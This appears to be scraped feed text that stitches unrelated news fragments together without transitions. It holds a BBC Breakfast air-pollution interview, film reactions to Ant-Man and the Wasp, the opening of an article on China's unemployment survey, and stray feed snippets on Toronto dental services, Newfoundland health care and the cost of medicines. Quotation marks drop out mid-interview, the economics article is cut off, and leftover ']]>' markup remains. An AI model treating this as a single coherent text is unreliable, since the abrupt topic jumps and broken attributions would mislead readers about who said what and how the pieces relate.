Cara continued: “Areas of cities really, or living next to busy roads so this is where we need to make sure the infrastructure is improved so more cycle ways – make it easier for people to make the right choice.
“People will choose what’s easy, we need to make it easier for them to choose what’s right for their health.”
Presenter Jon, 48, also felt passionate about the issue and was keen to share his own experiences.
“What you were saying…” Jon agreed. “I’d get more pollution going for a run near these vehicles than I would if I just stayed at home and sat down!”
“Absolutely and that’s something we have to think about as well,” Cara then continued. “The time of day, for example, that we go to exercise. And look at the pollution levels perhaps when the pollution’s highest in the morning or highest heat of the day and you could maybe change the time you exercise to reduce exposure.”
“Are there any other things we can do in our lives?” Jon then asked. “We talk about policies and politicians and agreements on a national level, but in our day to day lives what can we do to try and minimise our exposure?”
Cara was keen to reiterate the need for exercise in lifestyles, and to take public transport instead of driving.
“Face masks, should we be wearing masks?” Jon asked the doctor, who shut the idea down.
“Why, because they don’t work?” Naga then pushed, as Cara gave advice to people living in those areas.
They do work, but if you’re in a polluted area, and these proposals aren’t happening because of funding and mobility issues I think we have to recognise this is a small change, not an enormous change which will affect us on a daily basis.
“What’s more important on a population level is to reduce the amount of smoking, to reduce obesities, for people to eat less and prevent the risk of diabetes, these are much more important risk factors.
She continued: “Danger is we’re now adding pollution in to all these traditional risk factors to make the risks even higher.”
BBC Breakfast continues weekdays at 6am on BBC One.
The first embargos have lifted on the latest Marvel movie.
Remember, there are only two MCU releases before Avengers 4 hits screens next April.
Infinity War only had one end credit scene but it was an absolute humdinger, revealing the imminent introduction of Captain Marvel.
Marvel boss Kevin Feige has just revealed how “important” what happens in Ant-Man and the Wasp will be for Avengers 4 and the first screenings of the twentieth Marvel movie just delivered end credit scenes “you can’t afford to miss.”
Hollywood entertainment figure Brandon Davis just posted his first reactions to the movie and included huge news about what happens at the end.
He said: “Ant-Man and The Wasp is Marvel’s best sequel since The Winter Solider. Evangeline Lilly is one of my new favorite super heroes. Mr Peyton Reed knocked it out of the park!! Tremendous movie!
“Ant-Man and The Wasp is strong on the humor, amazing on the visual effects, creative in size manipulation, and clever in its ‘villains.’ Great movie.”
He also revealed how many end credit scenes there are.
Davis added: “Ant-Man and The Wasp has two post-credits scenes you can’t afford to miss.”
This must surely mean they will be featuring scenes or characters which relates to Avengers Infinity War and Avengers 4.
Feige himself said: “Ant-Man and the Wasp also connect directly to Avengers 4. These character are going to be very important going forward.”
AVENGERS 4 TITLE ‘WILL BE REVEALED IN THE ANT-MAN 2 END CREDITS‘
Ant-Man 2 will explore the Quantum Realm in the search for Janet Van Dyne, the original Wasp.
This has lead most most fans to assume that alternate dimensions and time travel will be part of the plan to defeat Thanos and reverse The Snap in Avengers 4.
Nobody yet has spoiled what the end credit scenes actually show but they must be something that gives vital clues to what will happen next.
ANT-MAN AND THE WASP IS OUT ON JULY 5 IN THE US AND AUGUST 3 IN THE UK
AMERICA’S unemployment statistics attract close attention, even from presidents. Early on June 1st President Donald Trump tweeted that he was looking forward to the latest figure (3.8%), released that morning. China’s unemployment numbers, by contrast, attract mostly ridicule. They have barely budged since 2011 despite the upheavals of the period.
Many China-watchers therefore hoped that a new measure of unemployment, dating from 2016 but published monthly since April, would be more revealing. Unlike the older statistic, which counts only those registered as jobless at local labour offices, the new measure draws on a survey of the labour force, collected by trained enumerators and beamed directly to Beijing beyond the grasp of local officials. It now covers 120,000 households across urban China (on top of a longer-running survey of 31 cities), providing, in theory, a representative snapshot of the biggest unemployed population in the world.
…
]]>Expanding access to free Toronto Public Health dental services is one of 27 recommendations in the city’s new seniors strategy. It’s heading to the executive committee for a stamp of approval on Monday.
]]>
It doesn’t take a doctor, nurse or economist to see there are major problems with the health-care system in Newfoundland and Labrador.
]]>
968,000 people skimped on necessities to pay for their medicine in 2016, researchers found.
]]>